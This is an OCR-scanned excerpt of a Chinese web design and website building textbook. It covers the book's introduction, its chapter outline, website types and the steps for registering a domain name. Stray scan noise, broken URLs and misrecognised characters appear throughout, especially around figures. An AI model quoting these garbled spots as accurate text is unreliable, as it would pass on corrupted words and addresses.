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内 容 简 介 
本 书 由 浅 入 深 、 通 俗 易 懂 地 讲解 了 网 页 制作 和 动态 网 站 建设 的 知识 与 实战 项 目 。 全 书 共 20 章 ， 从 网 站 建设 的 基本 


概念 开始 ， 讲 解 了 网 站 设计 基础 、 网 站 图 像 设 计 、 网 站 开发 调试 等 知识 。 书 中 通过 大 量 的 实例 讲解 知识 要 点 ， 读 者 可 以 
将 书 中 的 知识 与 实例 用 于 练习 和 开发 。 


本 书 共有 4 个 方面 的 内 容 ， 其 中 网 站 开发 入 门 部 分 讲解 了 网 站 的 基础 知识 、HTML 语言 和 网 页 的 色彩 知识 ， 网 页 设 


计 与 制作 部 分 讲解 了 网 页 的 平面 设计 和 网 页 的 切 图 、 布 局 排版 、 网 页 特效 等 内 容 ， 网 站 发 布 与 维护 部 分 讲解 了 网 站 的 发 
布 与 后 期 管理 维护 等 内 容 ， 综 合 案例 部 分 讲解 了 两 个 企业 网 站 的 开发 实例 。 


本 书 语言 通俗 易 懂 ， 内 容 丰 富 ， 知 识 涵盖 面 广 ， 非 常 适合 于 网 站 开发 的 初学 者 、 网 站 开发 人 员 、 毕 业 设 计 的 学 生 、 


选修 课 或 自学 网 页 设计 的 学 生 阅读 。 
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随 着 网 络 的 普及 ， 各 行 各 业 对 构建 自身 网 站 的 需求 日 益 提升 ， 人 才 市 场 上 对 网 站 开发 技术 人 员 的 
需求 也 大 大 增加 。 网 站 建设 是 一 门 综合 性 的 技能 ， 对 很 多 计算 机 技术 都 有 很 高 的 要 求 。 网 站 开发 工作 
包括 市 场 需求 研究 、 网 站 策划 、 网 页 平面 设计 、 网 页 页 面 排版 、 网 站 程序 开发 、 数 据 库 设计 、 网 站 的 
推广 运作 等 各 方面 知识 ， 能 够 系统 掌握 这 些 知识 的 网 络 工程 师 相 对 较 少 。 因 此 ， 我 们 邀请 了 具有 长 期 
网 站 开发 实战 经 验 的 专业 人 员 编 写 了 本 书 。 

如 果 说 个 人 建立 网 站 是 为 了 追求 时 尚 ， 那么 企业 建立 网 站 则 是 一 种 必然 的 选择 。 企 业 建 立 Web 
站 后 ， 可 以 以 最 小 的 投入 获得 丰厚 的 回报 。 那 么 如 何 才 能 设计 和 制作 出 一 个 功能 强大 又 能 吸引 人 的 
站 呢 ? 毫 无 疑问 ， 这 样 的 网 站 是 网 站 设计 师 和 制作 者 所 向 往 的 。 制 作 一 个 网 站 往往 会 用 到 很 多 技术 ， 
包括 图 像 设计 和 处 理 技术 、 网 页 动画 的 制作 技术 和 网 页 版 面 的 布局 编辑 技术 等 。 随 着 网 页 制作 技术 的 
不 断 发 展 和 完善 ， 产 生 了 众多 的 网 页 制作 与 网 站 建设 的 软件 ， 只 要 综合 掌握 了 这 些 软件 的 使 用 方法 ， 
制作 和 设计 一 个 合格 的 网 站 就 不 成 问题 了 。 

本 书 在 内 容 的 编排 方面 ， 十 分 注重 网 站 开发 的 学 习 规 律 和 特点 ， 在 内 容 上 循序 渐进 ， 注 重 基础 和 
实际 应 用 ， 能 让 读者 在 短 时 间 内 掌握 大 量 的 基础 知识 。 最 后 ， 本 书 讲解 了 两 个 企业 项 目 实例 ， 读 者 通 
过 对 企业 实战 项 目的 学 习 ， 可 以 快速 提升 自己 建设 网 站 项 目的 能 力 。 


本 书 的 特点 


1. 注重 基础 ， 循 序 渐进 

学 习 网 站 建设 时 ， 最 重要 的 是 掌握 网 站 的 基础 知识 和 基本 操作 。 本 书 非 常 注重 基础 知识 的 讲解 和 
基本 操作 的 练习 。 本 书 从 网 站 基本 概念 开始 ， 详 细 讲 解 了 HTML 语言 、 网 站 颜色 、Dreamweaver CS6 
的 使 用 、 网 页 平面 设计 等 基础 知识 ， 并 且 在 讲解 这 些 基础 知识 时 ， 注 意 阅 读 与 学 习 的 阶段 性 特点 ， 循 
序 渐进 地 传授 ， 注 重读 者 的 理解 与 掌握 。 

2. 内 容 丰富 ， 知 识 全 面 

本 书 内 容 丰 富 ， 涵 盖 的 知识 面 广 。 在 注重 基础 的 同时 ， 本 书 也 对 很 多 知识 进行 了 扩充 与 深入 ， 读 
者 可 以 学 习 和 掌握 关于 动态 网 站 开发 、 企 业 动态 网 站 项 目 建设 等 比较 专业 的 网 站 开发 知识 。 

3. 注重 操作 ， 注 重 讲解 

对 网 站 设计 、 程 序 编写 的 学 习 ， 是 非常 抽象 的 。 本 书 通过 讲解 大 量 的 实例 操作 ， 让 读者 在 实际 操 
作 中 理解 平面 设计 与 程序 编写 的 知识 。 同 时 ， 根 据 网 站 建设 人 员 的 实际 开发 经 验 ， 本 书 通过 “实战 技 
巧 ” 栏 目 对 基础 知识 进行 了 拓展 ， 讲 解 了 很 多 实际 工作 中 的 有 效 经 验 与 方法 。 

4. 主 次 分 明 ， 注 重 实际 

本 书 内 容 虽 然 多 ， 但 是 在 编写 时 充分 考虑 到 了 读者 学 习 与 工作 的 需要 ， 所 以 非常 讲求 知识 的 有 效 


色色 


本 从 与 网 站 建设 技术 让 


性 ， 以 便于 读者 网 站 开发 知识 的 掌握 与 运用 。 书 中 的 很 多 知识 都 是 笔者 长 期 工作 经 验 的 总 结 ， 特 与 读 
者 一 起 交流 分 享 。 


本 书 的 内 容 


本 书 分 为 4 篇 ， 共 20 章 。 分 别 是 网 站 开发 入 门 (第 1~3 章 ) 、 网 页 设计 与 制作 (第 4~15 章 ) 、 
网 站 发 布 与 维护 (第 16~18 章 ) 、 综 合 案 例 (第 19 和 20 章 ) 。 

第 1 章 介绍 网 站 的 一 些 基 本 概念 和 网 站 开发 的 一 般 流程 。 读 者 通过 对 这 些 知 识 的 学 习 ， 可 以 对 网 
站 建设 有 一 个 大 致 的 了 解 。 

第 2 章 讲解 HTML 的 基本 语法 ， 这 些 知 识 是 进行 网 站 开发 的 基础 。 读 者 需要 对 这 一 章 知识 进行 系 
统 的 学 习 ， 为 以 后 的 网 站 设计 和 动态 网 站 开发 打 好 基础 。 

第 3 章 讲解 网 页 设计 的 色彩 知识 。 网 页 中 的 色彩 搭配 是 一 个 美学 问题 ， 在 学 习 中 需要 通过 多 看 、 
多 比较 、 多 借鉴 ， 理 解 网 页 中 常用 的 色彩 搭配 技巧 。 

第 4 章 讲解 Dreamweaver CS6 的 常用 操作 与 使 用 技巧 。 这 一 章 的 内 容 是 掌握 Dreamweaver CS6 的 
基石 。 只 有 熟练 掌握 了 软件 的 使 用 ， 才 能 更 快 、 更 好 地 进行 网 站 的 开发 。 

第 5 章 讲解 站 点 的 创建 与 管理 。 简 单 地 说 ， 站 点 就 是 一 个 网 站 ， 将 很 多 网 页 放 在 一 起 ， 用 超 链 接 
实现 各 种 逻辑 关系 ， 再 分 为 首页 、 二 级 页 面 、 信 息 页 面 等 内 容 ， 这 些 内 容 和 数据 就 构成 了 一 个 站 点 。 
Dreamweaver 可 以 方便 地 管理 本 地 站 点 和 服务 器 站 点 。 

第 6 章 讲解 网 站 中 多 媒体 元 素 的 插入 和 设计 。 网 页 的 效果 ， 通 常 是 由 各 种 多 媒体 元 素来 实现 的 ， 
通过 对 多 媒体 排版 的 学 习 ， 可 进一步 掌握 Dreamweaver CS6 的 使 用 。 

第 7 章 讲解 网 站 的 常用 布局 。 通 过 对 布局 的 了 解 ， 可 以 很 好 地 规划 一 个 网 站 的 内 容 ， 进 而 进行 网 
页 的 平面 设计 。 

第 8 章 讲解 使 用 Photoshop CS6 进行 网 页 的 平面 设计 。Photoshop CS6 是 平面 设计 的 标准 软件 ， 有 
着 非常 强大 的 位 图 图 像 设计 功能 ， 大 部 分 的 网 站 效果 图 都 是 用 Photoshop 完成 的 。 

第 9 章 讲解 Fireworks CS6 的 切 图 和 输出。 设计 出 网 页 效果 图 以 后 ， 使 用 Fireworks CS6 进行 切 图 输 
出 是 一 项 重要 的 工作 。 正 确 的 切 图 输出 有 利于 网 页 的 排版 设计 。 

第 10 章 讲解 网 页 中 Logo 与 Banner 的 设计 。Logo 是 网 站 形象 的 重要 体现 。Banner 常常 是 一 个 横 
幅 广告 ， 放 置 在 网 站 的 首页 上 ， 用 来 显示 网 站 中 最 重要 的 内 容 或 需要 重点 突出 的 内 容 。 

第 11 章 讲解 Fireworks CS6 与 Dreamweaver CS6 中 的 网 页 图 片 优 化 方法 。 

第 12 章 讲 解 布局 实现 。 合 理 的 网 页 布局 有 利于 排版 出 美观 大 方 的 网 页 。 

第 13 章 讲解 网 页 模板 与 框架 。 灵 活 地 使 用 库 对 象 、 模 板 技术 ， 可 以 大 大 地 加 快 开发 效率 。 

第 14 章 讲解 常用 网 页 特效 的 操作 。 网 页 特效 可 以 丰富 网 页 的 界面 和 增强 用 户 交 互 功能 ， 一 般 是 使 
用 JavaScript 实现 的 。 

第 15 章 讲解 网 页 中 Flash 动画 的 设计 。Flash 动画 可 以 增强 网 页 的 美术 效果 。 通 过 本 章 的 学 习 , 读 
者 可 以 使 用 Flash CS6 设计 出 一 般 的 网 页 动画 广告 。 

第 16 章 讲解 网 站 测试 与 发 布 的 过 程 。 网 站 完成 以 后 ， 需 要 进行 网 站 测试 以 检查 网 站 的 完整 性 ， 然 
后 还 需要 发 布 到 网 络 上 供用 户 浏 览 。 

第 17 章 讲解 网 站 的 日 常 维护 。 制 作 完 网 页 并 不 代表 着 网 站 开发 的 终结 ， 接 下 来 还 需要 对 网 站 进行 
长 期 的 维护 和 更 新 。 


@ 


第 18 章 讲解 网 站 推广 的 技巧 。 一 个 开发 完成 的 网 站 , 只 有 通过 有 效 推 广 , 才能 实现 网 站 的 市 场 价值 。 

第 19 章 讲解 一 个 静态 企业 宣传 网 站 的 设计 。 随 着 电子 商务 的 推广 和 普及 ， 公 司 宣传 网 站 对 公司 的 
信息 化 建设 有 着 越 来 越 重要 的 作用 及 意义 。 

第 20 章 讲解 一 个 招聘 求职 动态 网 站 。 这 是 一 个 动态 网 站 的 企业 级 项 目 。 读 者 通过 本 章 的 学 习 ， 能 
够 理解 和 掌握 企业 项 目的 实战 经 验 。 
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网 站 开发 的 初学 者 
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py 

223 
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吾 于 于 至 


在 神奇 的 网 络 世界 里 ， 网 站 是 一 个 信息 的 海洋 ， 网 站 设计 是 运用 平面 设计 和 网 站 编程 
的 知识 ， 设 计 制 作出 可 供 在 网 络 上 浏览 的 网 站 。 本 书 将 用 20 个 章节 ， 通 俗 易 懂 地 讲解 网 
页 设计 和 网 站 开发 的 基础 知识 和 一 般 方法 。 

本 章 讲 述 网 站 的 一 些 概念 和 网 站 建设 的 一 些 步 骤 ， 以 一 个 简单 网 页 为 实例 ， 简 要 地 介 
绍 网 页 设计 的 软件 、 网 站 域名 和 服务 器 的 购买 ， 以 及 网 站 上 传 、 维 护 推广 的 一 些 概念 。 


1.1 网 站 开发 概述 


网 站 开发 就 是 使 用 网 页 设计 软件 ， 经 过 平面 设计 、 网 页 排版 、 网 页 编程 等 步 又， 设计 出 多 个 网 页 。 
这 些 网 页 通过 一 定 逻 辑 关 系 的 超级 链接 ， 构 成 一 个 网 站 。 网 页 设计 完成 以 后 ， 再 上 传 到 网 站 服务 器 上 
以 供用 户 访问 浏览 。 


1.1.1 什么 是 网 站 


网 站 是 网 络 中 一 个 站 点 内 所 有 网 页 的 集合 。 简 单 地 说 ， 网 站 是 一 种 借助 于 网 络 的 通信 工具 ， 就 像 
公告 栏 一 样 ， 人 们 可 以 通过 网 站 来 发 布 自己 的 信息 ， 或 者 利用 网 站 来 提供 相关 的 服务 。 人 们 可 以 通过 
浏览 器 来 访问 网 站 ， 获 取 自 己 需要 的 信息 或 者 享受 网 络 服务 。 

网 站 由 域名 、 服 务 器 空间 、 网 页 3 部 分 组 成 。 网 站 的 域名 就 是 在 访问 网 站 时 在 浏览 器 地 址 栏 中 输 
入 的 网 址 。 网 页 是 通过 Dreamweaver 等 软件 编辑 出 来 的 ， 多 个 网 页 由 超级 链接 联系 起 来 。 然 后 网 页 需 
要 上 传 到 服务 器 空间 中 ， 供 浏览 器 访问 网 站 中 的 内 容 。 

使 用 HTML 语言 来 描述 文本 、 图 片 、 动 画 等 内 容 的 排版 ， 然 后 被 浏览 器 阅读 ， 这 就 是 网 页 。 网 页 
文件 的 扩展 名 通常 是 .htm 或 .html。 浏 览 器 解释 网 页 文件 中 的 代码 ， 将 网 页 中 的 内 容 呈 现 给 用 户 。 

HTML 的 全 称 是 Hypertext Markup Language， 中 文 称 为 超 文本 链接 标记 语言 。 网 页 中 所 有 的 内 容 
都 是 通过 HTML 语言 描述 的 。 


1.1.2 ”网 站 设计 的 目的 


网 站 是 一 种 新 型 的 公众 媒体 , 具有 成 本 低 、 信息 量 二 
大 、 传 递 信息 快 的 优势 。 借 助 于 网 站 ， 各 种 信息 可 以 下 ee 
迅速 地 在 网 络 上 传播 和 共享 。 个 人 网 站 可 以 向 公众 展 ”村 时 I 
示 个 人 信息 、 作 品 、 才 艺 等 内 容 ， 企 业 网 站 可 以 及 时 Ee He 
向 公众 发 布 企 业 的 新 闻 、 产 品 、 商 业 信息 等 内 容 。 网 


| 
EE E 
人 各 
四 


站 已 经 成 为 大 众 传媒 的 一 种 重要 手段 。 网 站 和 浏览 的 EEC 
网 页 是 用 网 站 设计 软件 设计 制作 出 来 的 ， 如 果 想 在 网 zur ay 。 aaa nk -ama 
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络 上 拥有 一 个 自己 的 网 站 ， 就 需要 设计 网 页 和 网 站 。 
如 图 1-1 所 示 为 一 个 购物 网 站 。 在 这 个 购物 网 站 上 , 商 由 -一 权 ma 
家 可 以 发 布 出 售 信息 ， 用 户 可 以 购买 网 站 上 的 商品 。 i 

网 站 设计 就 是 将 自己 的 信息 制作 成 可 以 放 在 网 站 
上 浏览 的 网 页 的 过 程 。 在 设计 网 站 时 ， 需 要 进行 有 针对 性 、 艺 术 性 的 设计 ， 才 能 够 制作 出 效果 很 好 的 
网 页 。 网 站 可 以 实现 电子 商务 和 信息 发 布 等 功能 。 


1.1.3 ”网 站 设计 的 学 习 内 容 


从 网 站 设计 所 需要 掌握 和 运用 的 知识 分 析 ， 可 分 为 页 面 内 容 、 美 工 设计 、 网 站 编程 3 方面 的 内 容 。 
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下 面 对 其 进行 介绍 。 
回 ”页面 内 容 : 一 个 网 站 需要 传达 给 用 户 一 些 信息 ， 这 些 信 息 可 以 用 文本 、 图 片 、 动 画 、 视 频 等 
多 媒体 形式 来 表达 。 这 些 媒 体 所 表达 出 来 的 内 容 就 是 网 站 的 页 面 内 容 。 
回 ”美工 设计 : 美观 的 页 面 能 在 浏览 时 给 用 户 带 来 美的 享受 ， 用 户 会 因为 网 站 的 艺术 色彩 而 接受 
网 站 的 内 容 ， 所 以 ， 美 工 也 是 网 站 的 重要 组 成 部 分 。 
回 ”网 站 编程 :网 站 的 功能 是 靠 网 站 程序 来 实现 的 ， 一 个 强大 的 网 站 需要 有 功能 强大 的 网 站 管理 
程序 来 实现 。 对 于 较 小 的 网 站 ， 如 果 没 有 多 少 需要 管理 和 更 新 的 内 容 ， 则 可 以 做 成 静态 页 面 ， 
不 需要 进行 网 站 编程 。 
从 内 容 上 来 讲 ， 网 站 需要 一 个 首页 和 一 些 二 级 页 面 。 网 站 的 首页 是 打开 网 站 时 默认 的 那个 网 页 ， 
网 站 的 首页 可 以 给 用 户 带 来 第 一 印象 ， 大 致 概括 出 网 站 的 风格 。 首 页 一 般 是 网 站 重点 开发 和 设计 的 对 
象 ， 常 常 做 得 丰富 且 精 美 。 单 击 首页 的 超级 链接 ， 则 可 以 打开 一 些 二 级 页 面 。 


1.2 网 站 建设 的 一 般 流程 


在 进行 网 站 建设 时 ， 需 要 进行 网 站 定位 、 域 名 注册 、 网 站 空间 、 网 站 设计 购买 、 网 站 上 传 等 工作 。 
在 网 站 设计 的 学 习 中 ， 需 要 了 解 网 站 建设 的 一 些 流程 与 概念 。 


1.2.1 网 站 的 定位 


网 站 是 一 种 新 式 媒体 ， 在 日 常生 活 、 商 业 活 动 、 娱 乐 资讯 、 新 闻 媒体 等 方面 有 着 广泛 的 应 用 。 在 
网 站 开发 之 前 ， 首 先 需 要 认识 各 种 网 站 的 主要 功能 与 特点 ， 对 网 站 进行 定位 。 常 见 的 网 站 主要 有 以 下 
几 类 。 

1. 综合 门户 类 网 站 


综合 门户 类 网 站 是 网 络 中 使 用 最 多 的 网 站 ， 主 要 特点 是 功能 强大 、 内 容 丰富 、 信 息 齐 全 ， 网 站 有 
着 强大 的 管理 功能 与 美观 的 页 面 。 如 图 1-2 所 示 为 网 易 的 首页 。 这 类 网 站 的 开发 是 一 个 庞大 的 项 目 ， 
需要 专业 的 开发 团队 来 完成 。 在 网 站 开发 的 学 习 与 工作 中 ， 可 以 学 习 这 类 网 站 的 网 页 风格 和 功能 模块 。 
这 类 网 站 的 代表 有 新 浪 (http://www.sina.com.cn) 、 搜 狐 〈http://www.sohu.com) 、 网 易 (http://www. 
163.com) 等 。 


2. 新 闻 资 讯 类 网 站 

新 闻 资 讯 类 网 站 是 一 种 可 以 发 布 大 量 新 闻 与 图 片 内 容 的 网 站 ,用户 可 以 方便 地 查看 这 些 新 闻 资讯 
的 内 容 。 如 图 1-3 所 示 为 新 华 网 的 首页 。 这 类 网 站 的 主要 开发 内 容 是 网 站 的 美术 设计 与 网 站 内 容 的 管 
理 功能 。 这 类 网 站 的 代表 有 人 民 网 (http://www.people.com.cn) 、 新 华 网 (http:Wwww.xinhuanetcom) 、 
央视 国际 网 站 (http:/www.cctv.com) 等 。 


3. 公司 宣传 类 网 站 
公司 宣传 类 网 站 是 开发 工作 中 最 常见 的 网 站 类 型 。 企 业 借助 于 网 站 ， 可 以 推广 企业 形象 ， 树 立 企业 
品牌 ， 发 布 企业 产品 。 如 图 1-4 所 示 为 一 个 企业 宣传 类 网 站 。 这 类 网 站 主要 是 对 企业 产品 与 企业 服务 进 
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(http://www. tencent.com) 、 


是 精美 的 网 页 和 企业 产品 的 发 布 管理 功能 。 这 类 网 站 的 代表 有 腾讯 
bh 企 动 力 (http://www.ce.net.cn) 、 
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: ; “| 9 说 中 耻 训 细 人 立交 流 对 话机 相 ， 
图 1-2 综合 门户 类 网 站 1-3 ”新 闻 资 讯 类 网 站 
4. 娱乐 类 网 站 


娱乐 类 网 站 也 是 一 种 很 常见 的 网 站 形式 。 网 站 中 常常 是 明星 资讯 、 娱 乐 新 闻 、 音 乐 影 视 等 内 容 。 
娱乐 网 站 的 设计 非常 灵活 ， 可 以 使 用 各 种 个 性 化 的 色彩 和 布局 。 如 图 1-5 所 示 为 一 个 娱乐 类 网 站 。 娱 
乐 类 网 站 可 以 使 用 个 性 化 的 布局 和 配色 来 体现 不 同 的 娱乐 内 容 。 这 类 网 站 的 代表 有 新 浪 娱 乐 http://ent. 
sina.com.cn) 、 激 动 网 (http:/www.megajoy.com) 、E 视 网 (http://www.netandtv.com/) 等 。 


图 1-4 企业 宣传 类 网 站 图 1-5 娱乐 类 网 站 
5. 电子 商务 类 网 站 


电子 商务 类 网 站 是 一 种 常见 的 网 站 形式 ， 也 是 一 种 重要 的 应 用 形式 。 电 子 商务 类 网 站 的 内 容 常 常 
是 产品 、 广 告 、 购 物 、 市 场 推广 等 ， 如 图 1-6 所 示 为 一 个 电子 商务 类 网 站 。 目 前 ， 国 内 的 电子 商务 类 
网 站 的 代表 有 易趣 (http://www.ebay.com.cn) 、 淘 宝 (http://www.taobao.com) 、 拍 拍 (http://www. 
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paipai.com) 等 。 电 子 商务 类 网 站 的 设计 重点 是 网 站 的 产品 管理 功能 和 用 户 的 交互 功能 ， 其 页 面 需 要 制 
作 得 美观 、 大 方 。 

6. 政府 与 公益 组 织 类 网 站 

政府 和 一 些 民间 组 织 也 可 以 借助 网 站 进行 相关 的 宣传 或 者 开展 一 些 活动 。 现 在 越 来 越 多 的 政府 与 民间 
组 织 开 发 有 自己 的 网 站 ， 如 图 1-7 所 示 为 一 个 政府 与 公益 组 织 类 网 站 。 这 类 网 站 的 代表 有 中 国 网 
(http://www.china.com.cn/index.htm) 、 教 育 部 网 站 (http://www.moe.edu.cn/) 、 希 望 工程 (http://www.cydf. 
org.cn/) 等 。 
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图 1-6 电子 商务 类 网 站 图 1-7 政府 与 公益 组 织 类 网 站 
7. 电子 邮件 网 站 


电子 邮件 是 网 站 的 一 个 重要 应 用 ， 很 多 门户 网 站 提供 了 免费 电子 邮件 的 功能 。 很 多 企业 网 站 与 服 
务 器 架设 有 电子 邮件 服务 器 与 网 站 。 如 图 1-8 所 示 为 一 个 电子 邮件 网 站 。 电 子 邮件 网 站 需要 使 用 专门 
的 电子 邮件 软件 ， 在 网 站 中 需要 设计 的 只 是 用 户 登 录 界 面 和 用 户 管理 界面 。 

8. 网 址 导航 类 网 站 

网 址 导航 类 网 站 通过 将 一 些 常用 的 网 站 链接 整理 到 一 个 网 站 上 ， 以 方便 用 户 使 用 。 很 多 网 站 都 具有 
一 定 的 网 址 导航 功能 。 如 图 1-9 所 示 为 一 个 网 址 导航 类 网 站 。 网 址 导航 类 网 站 的 开发 重点 是 网 站 链接 与 
分 类 的 管理 。 这 类 网 站 的 代表 有 网 址 之 家 (http://www. hao123.com)、 网 址 大 全 (http://www.9991.com/) 、 
265 上 网 导航 (http://www.265.com/) 等 。 

9. 下 载 网 站 

下 载 网 站 可 以 方便 地 为 用 户 提 供 各 种 资料 的 下 载 功能 。 如 图 1-10 所 示 为 一 个 软件 下 载 网 站 。 这 类 
网 站 可 以 为 用 户 提供 软件 、 歌 曲 、 影 视 、 图 书 等 内 容 的 下 载 。 下 载 网 站 的 开发 重点 是 资料 的 管理 与 分 
类 。 比 较 著 名 的 下 载 网 站 有 徘 凡 软件 (http://www.crsky.com) 、 天 空 软件 (http://www.skycn.com/)、 
百度 MP3 下 载 (http://mp3.baidu.com) 等 。 
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首页 型 。。 > 商务 精美 型 商务 尼 全 和 商务 白 生产 副 唱 09 有 FF。 1 二 市 。 可 才 杯 多 IA 起 
于 本 | TH ns 二 1 全 
图 1-8 电子 邮件 网 站 图 1-9 网 址 导航 类 网 站 
10. 搜索 引擎 类 网 站 


搜索 引擎 类 网 站 是 为 用 户 提供 内 容 搜索 功能 的 网 站 。 如 图 1-11 所 示 为 百度 搜索 引擎 的 首页 。 在 网 
站 开发 工作 中 ， 常 需要 开发 具有 一 定 搜索 功能 的 网 站 ， 通 过 其 搜索 功能 ， 可 以 对 网 站 中 的 产品 、 企 业 
数据 等 内 容 进行 管理 , 数据 库 是 此 类 网 站 的 设计 重点 。 这 类 网 站 的 代表 有 百度 (http:/www.baidu.comy) 、 
雅虎 (http://www. yahoo.com) 等 。 
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图 1-10 下 载 网 站 图 1-11 搜索 引擎 类 网 站 


11. 个 人 网 站 
个 人 网 站 也 常 叫 做 个 人 主页 。 个 人 网 站 的 形式 非常 灵活 ， 可 以 包含 各 种 不 同 的 内 容 ， 如 图 1-12 所 


网 页 制作 与 网 站 建设 技术 详解 


示 。 个 人 网 站 的 内 容 没 有 特别 规则 ， 可 以 根据 个 人 喜好 ， 进 行 各 种 发 挥 。 在 内 容 与 配色 上 ， 可 以 使 用 
一 些 大胆 夸 张 的 形式 。 
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图 1-12 个 人 网 站 
1.2.2 ”申请 网 站 域名 


从 用 户 角度 上 来 说 ， 一 个 网 站 必须 有 一 个 世界 范围 内 唯一 可 访问 的 名 称 ， 这 个 名 称 还 必须 能 方便 
书写 和 记忆 ， 这 就 是 网 站 的 域名 。 

从 网 络 体系 结构 上 来 讲 ， 域 名 是 域名 管理 系统 (Domain Name System，DNS) 进行 全 球 统一 管理 
的 ， 用 来 映射 主机 IP 地 址 的 一 种 主机 命名 方式 。 例 如 ， 百 度 的 域名 是 www.baidu.com，IP 地 址 为 
220.181.38.4， 在 浏览 器 地 址 栏 中 输入 www.baidu.com 时 ， 计 算 机 会 把 这 个 域名 指向 相对 应 的 也 地址 。 
同样 ， 网 站 的 服务 器 空间 会 有 一 个 IP 地 址 ， 还 需要 申请 一 个 便于 记忆 的 域名 指向 这 个 瑟 地址， 以 便 
访问 。 

1. 国内 域名 与 国际 域名 


一 个 域名 是 分 为 多 个 字段 的 。 如 www.sina.com.cn， 这 个 域名 分 为 4 个 字段 ，cn 是 一 个 国家 字段 ， 
表示 域名 是 中 国 的 ，com 表示 域名 的 类 型 ， 表 示 这 个 域名 是 公共 服务 类 的 域名 ;www 表示 域名 提供 
www 网 站 服务 ;sina 表示 这 个 域名 的 名 称 。 域 名 中 的 最 后 一 个 字段 ， 一 般 是 国家 字段 。 

按照 管理 机 构 与 域名 后 缀 的 不 同 ， 网 站 的 域名 可 分 为 国内 域名 与 国际 域名 两 种 。 

回 ”国内 域名 : 以 .cn 作为 域名 后 绥 的 域名 就 是 国内 域名 。 如 www.sina.com.cn 是 一 个 国内 域名 ， 
而 www.sina.com 则 是 一 个 国际 域名 。 国 内 域名 是 由 中 国 互 联网 络 信息 中 心 (http:/www. 
cnnic.net) 统一 管理 的 。 中 国 互联 网 络 信息 中 心 授 权 一 些 网 络 公司 经 营 和 管理 国内 域名 。 
回 国际 域名 : 各 个 国家 都 会 大 量 使 些 没有 国家 字段 的 域名 ， 被 称 作 国际 域名 。 如 

www.baidu.com 就 是 一 个 国际 域名 。 域 名 起 源 于 美国 ， 美 国 的 域名 省 略 了 国家 字段 。 国 际 域 

名 是 由 美国 统一 管理 的 。 常 见 的 以 .com、.net、.org 结尾 的 域名 都 是 国际 域名 。 国 内 的 网 络 公 
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司 代理 国际 域名 。 
2. 不 同类 型 的 域名 


域名 的 倒数 第 二 个 字段 或 国际 域名 的 最 后 一 个 字段 代表 域名 的 种 类 。 表 1-1 为 一 些 常见 的 域名 后 
绥 类 型 。 


表 1-1 常用 的 域名 字段 


字段 类 型 

.com 商业 机 构 域名 

net 网 络 服务 机 构 域名 
org 非 营利 性 组 织 

.gov 政府 机 构 

.edu 教育 机 构 

info 信息 和 信息 服务 机 构 
.name, 个 人 专用 域名 

ty 电视 媒体 域名 

.travel 旅游 机 构 域 名 

.ac 学 术 机 构 域名 

Oe 商业 公司 

biz 商业 机 构 域名 

mobi 手机 和 移动 网 站 域名 


对 于 .gov 政府 域名 、.edu 教育 域名 等 类 型 的 域名 ， 需 要 这 些 有 相关 资质 的 机 构 提 供 有 效 的 证 明 材 
料 才 可 以 申请 和 注册 。 

3. 选择 什么 样 的 域名 

在 选择 域名 时 ， 需 要 选择 便于 记忆 且 有 实际 意义 的 域名 。 以 下 都 是 选择 域名 的 好 方法 。 
直接 使 用 实际 机 构 的 简称 作为 域名 ， 例 如 www.cctv.com、www.cnnic.com。 
回 ”使 用 机 构 的 单词 或 汉语 拼音 作为 域名 ， 例 如 www.people.com.cn、www.baidu.com。 
回 ”使 用 品牌 名 称 作 为 域名 ， 例 如 www.lenove.com、www.hasee.com。 
回 ”使 用 数字 作为 域名 ， 例 如 www.163.com、www.9991.com。 
四 
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使 用 汉语 拼音 与 单词 或 数字 的 组 合作 为 域名 ， 例 如 www.hao123.com、www.e21.com.cn。 

使 用 下 划 线 或 横 线 等 组 合作 为 域名 ， 例 如 www.54-ok.com、www.sky_cn.com。 
在 选择 域名 时 ， 一 定 要 便于 记忆 。 没 有 特殊 含义 或 太 长 的 域名 不 便于 记忆 ， 是 不 宜 使 用 的 。 

4. 申请 域名 的 步骤 

域名 是 由 国际 域名 管理 组 织 或 国内 的 相关 机 构 统一 管理 的 。 有 很 多 网 络 公司 可 以 代理 域名 的 注册 
业务 ， 可 以 直接 在 这 些 网 络 公司 注册 一 个 域名 。 

申请 域名 的 步骤 如 下 : 

(1) 域名 注册 时 , 注册 与 交 费 都 在 网 上 完成 ,一 般 不 需要 到 网 络 公司 进行 实际 办 理 。 注 册 域名 时 ， 
需要 找到 服务 较 好 的 域名 代理 商 进行 注册 。 可 以 在 搜索 引擎 上 查找 到 域名 代理 商 。 如 图 1-13 所 示 ， 可 
以 在 百度 中 查找 本 地 的 域名 代理 商 。 
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(2) 在 百度 中 打开 武汉 数据 的 网 站 (http:/www.027idc.com) ， 在 武汉 新 软 科技 有 限 公司 注册 一 
个 域名 ， 如 图 1-14 所 示 。 
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图 1-13 查找 域名 代理 商 图 1-14 在 武汉 数据 中 注册 一 个 域名 


(3) 在 网 站 上 注册 一 个 用 户 名 ， 如 图 1-15 所 示 。 在 网 站 上 进行 域名 注册 和 购买 服务 器 空间 时 ， 
需要 用 户 登录 。 为 了 便于 以 后 的 业务 联系 ， 在 进行 域名 注册 时 ， 需 要 填写 正确 的 资料 。 

(4) 用 已 经 注册 的 用 户 名 登录 ， 登 录 成 功 以 后 ， 将 进入 用 户 控制 面板 。 在 用 户 控制 面板 的 首页 可 
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图 1-15 注册 用 户 名 图 1-16 用 户 控制 面板 首页 


(5) 查找 可 以 注册 的 域名 。 用 户 在 网 站 首页 的 域名 查询 文本 框 中 输入 需要 查找 的 域名 进行 查找 。 例 
如 查找 一 个 cctv001 的 域名 ， 输 入 要 查找 的 域名 ， 选 择 扩展 后 绥 ， 最 后 单 击 “ 开 始 查询 ”按钮 ， 如 图 1-17 
所 示 。 

(6) 在 查找 域名 的 结果 中 选择 需要 注册 的 域名 ， 单 击 “ 注 册 ” 按 钮 ， 将 进入 到 域名 注册 网 页 ， 如 
1-18 所 示 。 

(7) 在 域名 注册 的 表单 中 填写 域名 的 注册 资料 。 这 些 域名 的 注册 资料 可 用 于 域名 续费 等 其 他 业 
务 ， 需 要 填写 准确 的 注册 资料 ， 如 图 1-19 所 示 。 填 写 完成 后 提交 这 个 域名 的 注册 信息 。 
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图 1-17 查找 一 个 域名 图 1-18 域名 查询 结果 
(8) 域名 资料 提交 成 功 以 后 ， 该 域名 即 注册 完成 。 如 图 1-20 所 示 为 域名 注册 成 功 的 网 页 。 


下 


中 


TT 二 本 ee 
图 1-19 填写 域名 的 注册 资料 图 1-20 域名 注 册 成 功 确认 网 页 


